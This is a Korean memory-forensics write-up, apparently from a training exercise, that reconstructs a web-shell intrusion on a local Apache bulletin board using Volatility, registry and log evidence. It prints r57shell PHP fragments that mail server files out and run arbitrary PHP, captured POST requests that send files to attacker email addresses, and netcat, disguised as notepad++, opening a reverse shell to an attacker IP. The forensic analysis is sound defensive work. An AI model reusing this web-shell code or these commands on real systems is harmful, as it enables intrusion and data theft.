Value  Mrw  File Name      Modified Date      Create Date      Access Date      File Attr      Path
-----
0      0      netcat-1.11    2018-05-13 23:55:20 UTC+0000    2018-05-13 23:55:20 UTC+0000    2018-05-13 23:55:20 UTC+0000    DIR      netcat-win32-1.11\netcat-1.11

```

```

Registry: \\?\C:\Users\testUser\AppData\Local\Microsoft\Windows\UsrClass.dat
Key: Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\2
Last updated: 2018-05-14 00:04:37 UTC+0000
Value  Mru  File Name  Modified Date  Create Date  Access Date  File Attr  Path
-----
0      0      netcat-1.11  2018-05-13 23:55:20 UTC+0000  2018-05-13 23:55:20 UTC+0000  2018-05-13 23:55:20 UTC+0000  DIR  notepad++\netcat-1.11

```

```

*****
Registry: \\?\C:\Users\testUser\AppData\Local\Microsoft\Windows\UsrClass.dat
Key: Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0\5\0
Last updated: 2018-05-24 16:49:32 UTC+0000
Value      Mru      File Name      Modified Date      Create Date      Access Date      File Attr      Path
-----
0          0          bbs            2018-05-24 16:49:08 UTC+0000  2018-05-24 16:48:48 UTC+0000  2018-05-24 16:49:08 UTC+0000  DIR            C:\APM_Setup\htdocs\bbs
*****

```

```

*****
Registry: \??\C:\Users\testUser\AppData\Local\Microsoft\Windows\UsrClass.dat
Key: Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0\5\0\0
Last updated: 2018-05-28 20:26:37 UTC+0000
Value  Mru  File Name  Modified Date  Create Date  Access Date  File Attr  Path
-----
0      0      data      2018-05-24 17:12:10 UTC+0000  2018-05-24 16:57:34 UTC+0000  2018-05-24 17:12:10 UTC+0000  DIR      C:\APM_Setup\htdocs\bbs\data
*****

```

```

*****
Registry: \??\C:\Users\testUser\AppData\Local\Microsoft\Windows\UsrClass.dat
Key: Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0\5\0\0
Last updated: 2018-05-28 20:26:43 UTC+0000
Value  Mru  File Name  Modified Date  Create Date  Access Date  File Attr  Path
-----
0      0      test      2018-05-24 17:23:18 UTC+0000  2018-05-24 17:12:10 UTC+0000  2018-05-24 17:23:18 UTC+0000  DIR      C:\APM_Setup\htdocs\bbs\data
*****

```

▼ Code Injection 되어 있는것을 확인 (4d 5a 90 시그니처로 판단함)

```

Process: svchost.exe Pid: 3456 Address: 0x400000
Vad Tag: Vad Protection: PAGE_EXECUTE_READWRITE
Flags: Protection: 6

0x00400000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00  MZ.....
0x00400010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  .....@.....
0x00400020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
0x00400030 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00  .....

0x00400000 4d      DEC EBP
0x00400001 5a      POP EDX
0x00400002 90      NOP
0x00400003 0003     ADD [EBX], AL
0x00400005 0000     ADD [EAX], AL
0x00400007 000400   ADD [EAX+EAX], AL
0x0040000a 0000     ADD [EAX], AL
0x0040000c ff      DB 0xff
0x0040000d ff00   INC DWORD [EAX]
0x0040000f 00b800000000 ADD [EAX+0x0], BH
0x00400015 0000     ADD [EAX], AL
0x00400017 004000   ADD [EAX+0x0], AL
0x0040001a 0000     ADD [EAX], AL
0x0040001c 0000     ADD [EAX], AL
0x0040001e 0000     ADD [EAX], AL
0x00400020 0000     ADD [EAX], AL
0x00400022 0000     ADD [EAX], AL
0x00400024 0000     ADD [EAX], AL
0x00400026 0000     ADD [EAX], AL
0x00400028 0000     ADD [EAX], AL
0x0040002a 0000     ADD [EAX], AL
0x0040002c 0000     ADD [EAX], AL
0x0040002e 0000     ADD [EAX], AL
0x00400030 0000     ADD [EAX], AL
0x00400032 0000     ADD [EAX], AL
0x00400034 0000     ADD [EAX], AL
0x00400036 0000     ADD [EAX], AL
0x00400038 0000     ADD [EAX], AL
0x0040003a 0000     ADD [EAX], AL
0x0040003c 0001     ADD [ECX], AL
0x0040003e 0000     ADD [EAX], AL

```

▼ ida를 통해 나온 windows api 함수들중 악성 코드에서 자주 사용되는 함수

- CreateFileW: 파일을 생성하거나 열 때 사용되는 함수입니다.
- DeleteCriticalSection: 임계 영역을 삭제하는 함수입니다.
- EnterCriticalSection: 임계 영역으로 진입하는 함수입니다.
- ExitProcess: 프로세스를 종료하는 함수입니다.
- FindFirstFileExW: 지정된 경로에서 첫 번째 파일을 검색하는 함수입니다.
- FindNextFileW: 다음 파일을 검색하는 함수입니다.
- FreeLibrary: DLL 파일을 메모리에서 해제하는 함수입니다.
- GetCommandLineA: 프로세스가 시작될 때 전달된 명령줄 인수를 가져오는 함수입니다.
- GetModuleFileNameW: 현재 실행 중인 모듈(프로세스)의 경로를 가져오는 함수입니다.

- GetModuleHandleExW: 특정 모듈의 핸들을 가져오는 함수입니다.
- GetProcAddress: DLL 내의 함수 포인터를 검색하는 함수입니다.
- HeapAlloc: 메모리 풀에서 메모리 블록을 할당하는 함수입니다.
- HeapFree: 메모리 풀에서 메모리 블록을 해제하는 함수입니다.
- LoadLibraryExW: DLL 파일을 메모리에 로드하는 함수입니다.
- MultiByteToWideChar: 멀티바이트 문자열을 유니코드 문자열로 변환하는 함수입니다.
- QueryPerformanceCounter: 고성능 카운터의 값을 가져오는 함수입니다.
- SetFilePointerEx: 파일 포인터의 위치를 설정하는 함수입니다.
- TerminateProcess: 프로세스를 강제로 종료하는 함수입니다.
- VirtualAlloc: 가상 메모리에 메모리 블록을 할당하는 함수입니다.
- WideCharToMultiByte: 유니코드 문자열을 멀티바이트 문자열로 변환하는 함수입니다.
- WriteFile: 파일에 데이터를 쓰는 함수입니다.

▼ Apache Server에 웹셸 업로드

```
path : \Device\HarddiskVolume2\APM_Setup\htdocs\bbs\data\test\
```

```
POST
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 1
ST: urn:dial-multiscreen-org:service:dial:1
USER-AGENT: Google Chrome/66.0.3359.181 Windows
J1:3540
OPI:"http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS:2e8910546d54ec2ae814e4f2bf12c253
Cache-Control:max-age=14400
Server:Microsoft-Windows-NT/5.1 UPnP/1.0 UPnP-Device-Host/1.0
Ext:
jdtm
e5,0
vu*
unknown
127.0.0.1
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
POST
to=hacker%40mail.com&cmd=mail_file&dir=Ck3AK5CAPM_Setup%5Chtdocs%5Cbbs%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+r57shell&loc_file=Ck3AK5Cnotepad%28%2B.exe&compress=zip&submit=Send
<B|k
http://localhost/bbs/data/test/r57shell.txt
application/x-www-form-urlencoded
http://localhost/bbs/data/test/r57shell.txt
```

해당 이미지의 strings을 확인하면, r57 shell이 사용된 것을 알 수 있다.

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp filescan | findstr "r57shell"
```

```
PS C:\Python27\Lib\site-packages\volatility-2.6\volatility-master> python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp filescan | findstr "r57shell"
Volatility Foundation Volatility Framework 2.6
0x00000003d94c038      2      0 R--rw- \Device\HarddiskVolume2\Users\testUser\AppData\Roaming\Microsoft\Windows\Recent\r57shell.lnk
0x00000003d97cf48      2      0 R--rw- \Device\HarddiskVolume2\Users\testUser\AppData\Roaming\Microsoft\Windows\Recent\r57shell.php.lnk
0x00000003fcbd7e8      8      0 R--rw- \Device\HarddiskVolume2\APM_Setup\htdocs\bbs\data\test\r57shell.txt
0x00000003fcc9108      2      0 R--rw- \Device\HarddiskVolume2\Users\testUser\AppData\Roaming\Microsoft\Windows\Recent\webshell+{r57shell+}.lnk
```

해당 이미지에서 r57shell이 들어간 파일을 필터링한다.

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp dumpfiles -Q 0x00000003fcbd7e8 -D d:\vol\sample1\
```

```

PS C:\Python27\Lib\site-packages\volatility-2.6\volatility-master> python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp dumpfiles -Q 0x00000003fcbd7e8 -D d:\vol\
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3fcbd7e8 None \Device\HarddiskVolume2\APM_Setup\htdocs\bbs\data\test\r57shell.txt

```

검색된 파일 경로들에서 Apache 경로에 지정된 r57shell.txt 파일을 추출하여 확인한다. 확인 결과 디펜더에서 악성 파일로 분류하여 자동 삭제하였고, 이는 진짜 r57shell 관련 파일이었다.

```

python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp -p 3660 memdump -D D:\vol\sample1\
strings.exe D:\vol\sample1\3660.dmp > 3660strings.txt

```

해당 웹셀이 올라간 것을 좀 더 넓은 범위에서 분석하고자, 앞서 분석한 OUTLOOK의 최상단 프로세스인 explorer.exe(3660)의 strings를 추출하여 분석했다.

```

127.0.0.1 - - [28/May/2018:15:14:19 -0700] "GET /bbs/zboard.php?id=test HTTP/1.1" 200 8890
127.0.0.1 - - [28/May/2018:15:14:28 -0700] "GET /favicon.ico HTTP/1.1" 404 305
127.0.0.1 - - [28/May/2018:15:15:47 -0700] "GET /bbs/zboard.php?id=test HTTP/1.1" 200 8462
127.0.0.1 - - [28/May/2018:15:15:57 -0700] "GET /bbs/zboard.php?id=test/shell HTTP/1.1" 200 2608
127.0.0.1 - - [28/May/2018:15:15:57 -0700] "GET /bbs/style.css HTTP/1.1" 200 619
127.0.0.1 - - [28/May/2018:15:16:05 -0700] "GET /bbs/zboard.php HTTP/1.1" 200 2586
127.0.0.1 - - [28/May/2018:15:16:12 -0700] "GET /bbs/zboard.php?id=test HTTP/1.1" 200 2586
127.0.0.1 - - [28/May/2018:15:16:16 -0700] "GET /bbs/zboard.php?id=test HTTP/1.1" 200 8462
127.0.0.1 - - [28/May/2018:15:16:54 -0700] "GET /bbs/view.php?id=test&page=1&sn=1&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=2 HTTP/1.1" 200 8690
127.0.0.1 - - [28/May/2018:15:17:06 -0700] "GET /bbs/data/test/r57shell.txt?cpu HTTP/1.1" 200 2611
127.0.0.1 - - [28/May/2018:15:17:09 -0700] "GET /bbs/data/test/r57shell.txt HTTP/1.1" 200 31298
127.0.0.1 - - [28/May/2018:15:17:10 -0700] "GET /bbs/data/test/r57shell.txt?img=1 HTTP/1.1" 200 52
127.0.0.1 - - [28/May/2018:15:17:10 -0700] "GET /bbs/data/test/r57shell.txt?img=2 HTTP/1.1" 200 52
127.0.0.1 - - [28/May/2018:15:17:38 -0700] "POST /bbs/data/test/r57shell.txt HTTP/1.1" 200 31547
127.0.0.1 - - [28/May/2018:15:17:38 -0700] "GET /bbs/data/test/r57shell.txt?img=1 HTTP/1.1" 200 52
127.0.0.1 - - [28/May/2018:15:17:38 -0700] "GET /bbs/data/test/r57shell.txt?img=2 HTTP/1.1" 200 52
127.0.0.1 - - [28/May/2018:15:19:01 -0700] "POST /bbs/data/test/r57shell.txt HTTP/1.1" 200 31487
127.0.0.1 - - [28/May/2018:15:19:05 -0700] "GET /bbs/data/test/r57shell.txt?img=1 HTTP/1.1" 200 52
127.0.0.1 - - [28/May/2018:15:19:05 -0700] "GET /bbs/data/test/r57shell.txt?img=2 HTTP/1.1" 200 52
127.0.0.1 - - [28/May/2018:15:21:49 -0700] "POST /bbs/data/test/r57shell.txt HTTP/1.1" 200 2413
127.0.0.1 - - [28/May/2018:15:21:56 -0700] "POST /bbs/data/test/r57shell.txt HTTP/1.1" 200 30941
127.0.0.1 - - [28/May/2018:15:21:57 -0700] "GET /bbs/data/test/r57shell.txt?img=1 HTTP/1.1" 200 52
127.0.0.1 - - [28/May/2018:15:21:57 -0700] "GET /bbs/data/test/r57shell.txt?img=2 HTTP/1.1" 200 52
127.0.0.1 - - [28/May/2018:15:22:08 -0700] "POST /bbs/data/test/r57shell.txt HTTP/1.1" 200 2947
127.0.0.1 - - [28/May/2018:15:22:10 -0700] "POST /bbs/data/test/r57shell.txt HTTP/1.1" 200 2947
127.0.0.1 - - [28/May/2018:15:22:12 -0700] "POST /bbs/data/test/r57shell.txt HTTP/1.1" 200 2947
127.0.0.1 - - [28/May/2018:15:22:43 -0700] "POST /bbs/data/test/r57shell.txt HTTP/1.1" 200 31483
127.0.0.1 - - [28/May/2018:15:22:44 -0700] "GET /bbs/data/test/r57shell.txt?img=1 HTTP/1.1" 200 52
127.0.0.1 - - [28/May/2018:15:22:45 -0700] "GET /bbs/data/test/r57shell.txt?img=2 HTTP/1.1" 200 52

```

22:17:06 부터 22:22:45까지도 악성 웹셀 경로로 로그가 남아 있다.

다음은 explorer.exe(3660)에서 확인된 로그와 웹셀(r57shell)의 분석이다.

▼ 결과 및 웹셀 분석

<https://s3-us-west-2.amazonaws.com/secure.notion-static.com/69236390-822f-4224-896b-4584d9a84cb4/3660string s.txt>

▼ URL Cache

[illegible]

의문의 URL들 디코딩 해보자.

```
2018052820180529: testUser@file:///C:/Users/testUser/Downloads/r57.zip
116%EA%B8%B0_%EC%BB%A4%EB%A6%AC%ED%81%98%EB%9F%BC.pdf
```

URL Decode 결과 → 116기_커리큘럼.pdf

```

:2018052820180529: testUser@file:///C:/Users/testUser/Documents/2018%E8%B5%84%20%EA%B5%AD%EA%B0%80%ECA0%84%E8%B9%EB5-%EC%B9%A8%E0%95%B4%E8%B8%80%ECA0%9116%EA%B8%B0_%EC%B8%A4%E8%A6%AC%E0%81%98%E8%B9%BC.pdf

```

2018년 국가전략-침해대응16기_커리큘럼

▼ html을 보면, form의 action이 웹셀을 가르킨다.

```
<html>
<head>
<title>R57shell - Development by Navaro - Vn Force Group.</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
```

[illegible]

▼ 입력 프론트 폼이다.

```
<option>find all writable directories</option>
<option>find all writable directories in current dir</option>
<option>find all writable directories and files</option>
<option>find all writable directories and files in current dir</option>
<option>find all service.pwd files</option>
<option>find service.pwd files in current dir</option>
<option>find all .htpasswd files</option>
<option>find .htpasswd files in current dir</option>
<option>find all .bash_history files</option>
<option>find .bash_history files in current dir</option>
<option>find all .mysql_history files</option>
<option>find .mysql_history files in current dir</option>
```

[illegible]

▼ show databases; 로 db 조회


```

} if (!empty($_POST['cmd'])) &&$_POST['cmd']=="db_query") { echo $head;

    $sql = new my_sql();

    $sql->db = $_POST['db'];

    $sql->host = $_POST['db_server'];

    $sql->port = $_POST['db_port'];

    $sql->user = $_POST['mysql_l'];

    $sql->pass = $_POST['mysql_p'];

    $sql->base = $_POST['mysql_db'];

    $queryrs = @explode(';

',$_POST['db_query']);

    echo '<body bgcolor=#000000>';

    if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 co

    else { if(!empty($sql->base)&& !$sql->select_db()) echo "<div align=center>

    else { foreach($queryrs as $num=>$query) { if(strlen($query)>5) { echo "<fo

```

```
php_eval=2F**delete+script*%2F%80%BA%2F%2Ffunlink%28%22%27$shell.php%2K%29%3B%0D%BA%2F%2Freadfile%28%2K%2Fetck%2Fpasswd%2K%29%3B%dir--C%3A%5CAPM_Setup%5Chtdocs%5Cobs%5Cdata%5Ctest%26cmd-php_eval%26submit-Execute
http://localhost/obs/data/test/r57shell.txt
12Km
<8Km
php_eval=2F**delete+script*%2F%80%BA%2F%2Ffunlink%28%22%27$shell.php%2K%29%3B%0D%BA%2F%2Freadfile%28%2K%2Fetck%2Fpasswd%2K%29%3B%dir--C%3A%5CAPM_Setup%5Chtdocs%5Cobs%5Cdata%5Ctest%26cmd-php_eval%26submit-Execute
http://localhost/obs/data/test/r57shell.txt
http://localhost/obs/data/test/r57shell.txt
12Km
12Km
<8Km
php_eval=2F**delete+script*%2F%80%BA%2F%2Ffunlink%28%22%27$shell.php%2K%29%3B%0D%BA%2F%2Freadfile%28%2K%2Fetck%2Fpasswd%2K%29%3B%dir--C%3A%5CAPM_Setup%5Chtdocs%5Cobs%5Cdata%5Ctest%26cmd-php_eval%26submit-Execute
http://localhost/obs/data/test/r57shell.txt
http://localhost/obs/data/test/r57shell.txt
12Km
12Km
<8Km
php_eval=2F**delete+script*%2F%80%BA%2F%2Ffunlink%28%22%27$shell.php%2K%29%3B%0D%BA%2F%2Freadfile%28%2K%2Fetck%2Fpasswd%2K%29%3B%dir--C%3A%5CAPM_Setup%5Chtdocs%5Cobs%5Cdata%5Ctest%26cmd-php_eval%26submit-Execute
http://localhost/obs/data/test/r57shell.txt
http://localhost/obs/data/test/r57shell.txt
12Km
12Km
<8Km
```

```

echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
echo (!empty($_POST['php_eval']))?($_POST['php_eval']):("//unlink(\"r57shell.php\");
\r\n//readfile(\"/etc/passwd\");
\r\n//file_get_content(\"/etc/passwd\");
");
echo "</textarea>";

```

```
} if([empty($POST['cmd'])] && $POST['cmd'] == 'mail_file' && [empty($POST['loc_file'])]) { if($file=@fopen($POST['loc_file'], "r")){$filedump = @fread($file,@filesize($POST['loc_file']));  
@fclose($file);  
} else if ($file=readzlib($POST['loc_file'])) {$filedump = $file;  
}else {err(1,$POST['loc_file']);  
$POST['cmd']="";  
}  
if(isset($POST['cmd'])) { $filename = @basename($POST['loc_file']);  
$content_encoding=$mime_type="";  
compress($filename,$filedump,$POST['compress']);  
$attach = array("name"=>$filename, "type"=>$mime_type, "content"=>$filedump );  
if(empty($POST['subj'])) {$POST['subj'] = ' file from r57';  
}  
if(empty($POST['from'])) {$POST['from'] = 'billy@microsoft.com';  
}$res = mailattach($POST['to'],$POST['from'],$POST['subj'],$attach);  
err(6+$res);  
$POST['cmd']="";  
}
```

▼ post 로그가 남았다.

```
HTTP/1.1 200 OK
Date: Mon, 28 May 2018 22:22:12 GMT
Server: Apache
Content-Length: 2947
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
text/html
unknown
127.0.0.1
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
POST
db=MySQL&db_port=3306&mysql_l=root&mysql_p=password&mysql_db=mysql&cmd=db_query&db_query=SHOW DATABASES%3B%0D%0A&submit+=Run+SQL+query+
<B|Km
http://localhost/bbs/data/test/r57shell.txt
application/x-www-form-urlencoded
http://localhost/bbs/data/test/r57shell.txt
```

```
} } } } } echo "<br><form name=form method=POST>";
echo in('hidden','db',0,$_POST['db']);
echo in('hidden','db_server',0,$_POST['db_server']);
echo in('hidden','db_port',0,$_POST['db_port']);
echo in('hidden','mysql_1',0,$_POST['mysql_1']);
echo in('hidden','mysql_p',0,$_POST['mysql_p']);
echo in('hidden','mysql_db',0,$_POST['mysql_db']);
echo in('hidden','cmd',0,'db_query');
echo "<div align=center>";
echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$_{$sql->base}\"</font><br>";
echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query']))?($_POST['db_query']):("SHOW DATABASES;
\nSELECT * FROM user;
"));.</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
echo "</form>";
```

```
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 1
ST: urn:dial-multiscreen-org:service:dial:1
USER-AGENT: Google Chrome/66.0.3359.181 Windows
12-f955-4f35-95d4-603244195716
USN:uuid:8c248d12-f955-4f35-95d4-603244195716::urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1
Cache-Control:max-age=900
Server:Microsoft-Windows-NT/5.1 UPnP/1.0 UPnP-Device-Host/1.0
OPT:"http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: 2e89185d6d54ec2ae814e4f2bf12c253
Server: Apache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
text/html
unknown
127.0.0.1
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
POST
to:crush_3%40naver.com&cmd=mail_file&dir=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+r57shell&loc_file=C%3A%5Cnotepad%28%2B.exe&submit=Send
<B>|Km
http://localhost/bbs/data/test/r57shell.txt
```

▼ 최근 검색결과

```
HTTP/1.1 200 OK
Date: Mon, 28 May 2018 18:03:47 GMT
Server: Apache
Content-Type: text/html
127.0.0.1
$https://www.google.co.kr/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&sssi=t&q=&oit=0&pgcl=7&gs_rn=42&psi=KyQjBEUyoS7FhblN&supkey=AIzaSyBOTi4mM-6x9WdNzIjIeyEU210p8XqWBgw
1A+
m2!
<div>
174K
-rfU
https://www.google.co.kr/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&sssi=t&q=&oit=0&pgcl=7&gs_rn=42&psi=KyQjBEUyoS7FhblN&supkey=AIzaSyBOTi4mM-6x9WdNzIjIeyEU210p8XqWBgw
```

▼ 해당 서버 정보 attacker 메일로 전송

```
<B>|Km
to:crush_3%40naver.com&cmd=mail_file&dir=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+r57shell&loc_file=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&submit=Send
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
12Km
12Km
<B>|Km
to:crush_3%40naver.com&cmd=mail_file&dir=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+r57shell&loc_file=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&submit=Send
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
12Km
12Km
<B>|Km
to:crush_3%40naver.com&cmd=mail_file&dir=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+r57shell&loc_file=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&submit=Send
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
12Km
12Km
<B>|Km
to:crush_3%40naver.com&cmd=mail_file&dir=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+r57shell&loc_file=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&submit=Send
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
12Km
12Km
<B>|Km
to:crush_3%40naver.com&cmd=mail_file&dir=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+r57shell&loc_file=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&submit=Send
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
12Km
12Km
<B>|Km
to:crush_3%40naver.com&cmd=mail_file&dir=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&from=billy%40microsoft.com&subj=file+from+r57shell&loc_file=C%3A%5CAPM_Setup%5Chtdocs%5Ccbbs%5Cdata%5Ctest&submit=Send
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
http://localhost/bbs/data/test/r57shell.txt
```

▼ r57 shell → mailattach 함수

```
} function mailattach($to,$from,$subj,$attach) { $headers = "From: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: ".$attach['type'];
$headers .= "";
name="\"".$attach['name']."\" \r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
$headers .= chunk_split(base64_encode($attach['content']))." \r\n";
if(mail($to,$subj,"",$headers)) {return 1;
} return 0;
```

```

if (!empty($_POST['cmd']) && $_POST['cmd'] == "mail_file" && !empty($_POST['loc_file'])) {
    if ($file = @fopen($_POST['loc_file'], "r")) {
        $filedump = @fread($file, @filesize($_POST['loc_file']));
        @fclose($file);
    } else if ($file = readzlib($_POST['loc_file'])) {
        $filedump = $file;
    } else {
        err(1, $_POST['loc_file']);
        $_POST['cmd'] = "";
    }
    if (isset($_POST['cmd'])) {
        $filename = @basename($_POST['loc_file']);
        $content_encoding = $mime_type = '';
        compress($filename, $filedump, $_POST['compress']);
        $attach = array("name" => $filename, "type" => $mime_type, "content" => $filedump);
        if (empty($_POST['subj'])) {
            $_POST['subj'] = 'file from r57';
        }
        if (empty($_POST['from'])) {
            $_POST['from'] = 'billy@microsoft.com';
        }
        $res = mailattach($_POST['to'], $_POST['from'], $_POST['subj'], $attach);
        err(6 + $res);
        $_POST['cmd'] = "";
    }
}
}

```

▼ php 메일 발송 → mail 함수

```
mail("받는 메일 주소", "메일 제목", "메일 내용", "메일 헤더");
```

▼ 리버스 셸 연결 (netcat)



22:28:50 리버스셸 연결

공격자 → IP : 192.168.10.150 / PORT : 10000

피해자 → IP : 192.168.10.145 / PORT : 49389

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp netscan
```

0x2db180d0	TCPv4	192.168.10.145:49389	192.168.10.150:10000	ESTABLISHED	6084	notepad++.exe
------------	-------	----------------------	----------------------	-------------	------	---------------

해당 IP와 PORT로 연결된 네트워크 정보이다. PID는 6084이다.

```
python2 .\vol.py --profile=Win7SP1x86 -f D:\vol\sample1\sample1.dmp pstree
```

0x95be1d40:explorer.exe	3660	3640	31	881	2018-05-28	22:09:56	UTC+0000
. 0x84495928:cmd.exe	5132	3660	1	22	2018-05-28	22:13:47	UTC+0000
.. 0x866d3030:notepad++.exe	6084	5132	2	64	2018-05-28	22:28:50	UTC+0000

cmd.exe에서 notepad++이 실행된다. 앞서 netscan에서 나온 TCP 세션이 notepad++.exe에서 생성된다. 세션 생성 시간은 **22:28:50**이다.

```
python2 .\vol.py --profile=win7SP1x86 -f D:\vol\sample1\sample1.dmp consoles
```

```
CommandHistory: 0x5edb8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 5 LastAdded: 4 LastDisplayed: 4
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x58
Cmd #0 at 0x62ff0: nc 192.168.10.150 1000
Cmd #1 at 0x5cdf0: cd
Cmd #2 at 0x55b78: cd..
Cmd #3 at 0x55b90: cd ..
Cmd #4 at 0x54a28: notepad++ 192.168.10.150 10000
----
Screen 0x42f38 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\testUser>nc 192.168.10.150 1000
'nc' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\testUser>cd
C:\Users\testUser

C:\Users\testUser>cd..

C:\Users>cd ..

C:\>notepad++ 192.168.10.150 10000

C:\>notepad++ 192.168.10.150 10000
hi
hello
its me!!!!

C:\>notepad++ 192.168.10.150 10000

C:\>notepad++ 192.168.10.150 10000

C:\>notepad++ 192.168.10.150 10000
```

명령어를 사용한 로그이다. nc는 안되는데, notepad++로 셸을 붙여서 문자열을 보냈다.. 해당 프로세스를 덤프 후, IDA로 확인해봤다.

```
python2 .\vol.py --profile=win7SP1x86 -f D:\vol\sample1\sample1.dmp -p 6084 procdump -D D:\vol\sample1\
```

Address	Length	Type	String
.rdata:004...	0000000F	C	nc -h for help
.rdata:004...	000000AE	C	[v1.11 NT www.vulnwatch.org/netcat/]Wncconnect to somewhere:Wtnc [-options] hostname port[s] [ports] ... Wnlisten for inbound:Wtnc -l -p port [options] [hostname] [port]Wnoptions:
.rdata:004...	0000003A	C	port numbers can be individual or ranges: m-n [inclusive]

netcat 파일이 맞는데, notepad++ 위장하고 있다. 이로써 notepad++ 프로세스로 올라가 있지만, 실제 netcat을 통해 공격자 서버와 TCP 리버스 셸이 연결되었다.